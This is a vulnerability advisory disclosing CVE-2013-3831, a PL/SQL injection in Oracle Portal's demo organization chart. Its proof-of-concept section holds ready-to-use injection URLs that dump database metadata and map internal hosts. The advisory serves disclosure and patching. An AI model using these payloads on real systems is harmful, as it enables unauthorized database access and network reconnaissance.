=============================================
INTERNET SECURITY AUDITORS ALERT 2012-001
- Original release date: November 8th, 2012
- Last revised: March 20th, 2013
- Discovered by: Manuel Garcia Cardenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2013-3831
=============================================
I. VULNERABILITY
-------------------------
PL/SQL Injection in Oracle Portal Demo Organization Chart
II. BACKGROUND
-------------------------
Web Organization Chart (Ora Version) is used to connect to the Oracle
database. Ora version of "Web Organization Chart" selects information
from the Oracle
(HR) tables and converts it into a format that is readable for the
Orgchart software.
III. DESCRIPTION
-------------------------
This bug was found using the demo portal PORTAL_DEMO.ORG_CHART.SHOW. To
exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to
interact with the application. It is possible to inject SQL code in the
variable "p_arg_values".
IV. PROOF OF CONCEPT
-------------------------
*** SQL Injection ***
Version:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+banner,null,null,null,null+from+v$version--
User:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+user,null,null,null,null+from+dual--
Actual Database:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+global_name,null,null,null,null+from+global_name--
Lists of Databases:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+owner,null,null,null,null+from+all_tables--
*** PL/SQL Injection ***
For example, using the function UTL_INADDR.get_host_address we can found
the internal address:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+UTL_INADDR.get_host_address,null,null,null,null+from+dual--
Using a bruteforce attack on the range obtained and the function
UTL_INADDR.get_host_name(), we can acquire a list of internal hosts:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value
%27union+select+UTL_INADDR.get_host_name('INTERNALs-IP'),null,null,null,null+from+dual--
V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete
compromise of these client systems is also possible.
VI. SYSTEMS AFFECTED
-------------------------
Demo Page of Oracle Portal Demo Organization Chart.
VII. SOLUTION
-------------------------
All data received by the application and can be modified by the user,
before making any kind of transaction with them must be validated.
VIII. REFERENCES
-------------------------
http://www.oracle.com
http://www.isecauditors.com
IX. CREDITS
-------------------------
This vulnerability has been discovered by Manuel Garca Crdenas
(mgarcia (at) isecauditors (dot) com).
X. REVISION HISTORY
-------------------------
December 02, 2012: Initial release to Oracle.
February 20, 2013: Last revision
XI. DISCLOSURE TIMELINE
-------------------------
October 25, 2012: The vulnerability is discovered.
December 2, 2012: Initial release to Oracle.
February 20, 2013: Vulnerability already corrected but will
not be included in CPUs. Credits in CPUApr2013.
October 11, 2013: The following issue reported is fixed in
the upcoming Critical Patch Update
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. Internet
Security
Auditors accepts no responsibility for any damage caused by the use or
misuse of this information.
XIII. ABOUT
-------------------------
Internet Security Auditors is a Spain based leader in web application
testing, network security, penetration testing, security compliance
implementation and
assessing. Our clients include some of the largest companies in areas
such as finance, telecommunications, insurance, ITC, etc. We are vendor
independent
provider with a deep expertise since 2001. Our efforts in R&D include
vulnerability research, open security project collaboration and
whitepapers,
presentations and security events participation and promotion. For
further information regarding our security services, contact us.
XIV. FOLLOW US
-------------------------
You can follow Internet Security Auditors, news and security advisories at:
https://www.facebook.com/ISecAuditors
https://twitter.com/ISecAuditors
http://www.linkedin.com/company/internet-security-auditors
http://www.youtube.com/user/ISecAuditors